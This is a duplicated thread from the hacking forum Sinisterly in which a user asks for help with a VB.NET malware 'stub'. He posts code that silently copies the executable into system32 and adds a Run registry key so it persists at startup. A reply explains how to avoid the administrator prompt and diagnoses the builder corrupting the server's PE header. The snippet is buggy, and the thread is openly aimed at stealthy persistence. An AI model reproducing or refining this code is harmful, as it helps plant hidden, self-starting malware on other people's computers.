Sinisterly
[vb.net]need help with stub - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: [vb.net]need help with stub (/Thread-vb-net-need-help-with-stub)

Pages: 1 2


RE: [vb.net]need help with stub - mR.v - 04-19-2013

thanks for the information m8... :yes: :lol:
Quote:Do you even have the .NET framework installed on your XP machine?.. You know .NET framework by default is not installed on XP.

yes i already installed .NET framework 3.5 on it..
one more thing about this
Quote:...and need administrator privilege in win 7/8.
do you know how to add registry key silently in vb.net?
i think this is why it need administrator privilege

Code:
Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath) My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Windows\system32" & appname, True) Dim regKey As Microsoft.Win32.RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue(appname, "C:\Windows\system32" & AppWinStyle.Hide) regKey.Close()

sorry bad english and i'm totally n00b..:wacko:


RE: [vb.net]need help with stub - mR.v - 04-19-2013

thanks for the information m8... :yes: :lol:
Quote:Do you even have the .NET framework installed on your XP machine?.. You know .NET framework by default is not installed on XP.

yes i already installed .NET framework 3.5 on it..
one more thing about this
Quote:...and need administrator privilege in win 7/8.
do you know how to add registry key silently in vb.net?
i think this is why it need administrator privilege

Code:
Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath) My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Windows\system32" & appname, True) Dim regKey As Microsoft.Win32.RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue(appname, "C:\Windows\system32" & AppWinStyle.Hide) regKey.Close()

sorry bad english and i'm totally n00b..:wacko:


RE: [vb.net]need help with stub - Coder-san - 04-19-2013

Don't copy in System directory. That's what's triggering it, not the registry entry (that should trigger UAC).
About a not a valid Win32 application, your builder is probably messing up your server's PE header.


RE: [vb.net]need help with stub - Coder-san - 04-19-2013

Don't copy in System directory. That's what's triggering it, not the registry entry (that should trigger UAC).
About a not a valid Win32 application, your builder is probably messing up your server's PE header.


RE: [vb.net]need help with stub - mR.v - 04-19-2013

(04-19-2013, 04:29 AM)Coder-san Wrote: Don't copy in System directory. That's what's triggering it, not the registry entry (that should trigger UAC).
About a not a valid Win32 application, your builder is probably messing up your server's PE header.

now i got it..thx bro!!!! :dance: Biggrin


RE: [vb.net]need help with stub - mR.v - 04-19-2013

(04-19-2013, 04:29 AM)Coder-san Wrote: Don't copy in System directory. That's what's triggering it, not the registry entry (that should trigger UAC).
About a not a valid Win32 application, your builder is probably messing up your server's PE header.

now i got it..thx bro!!!! :dance: Biggrin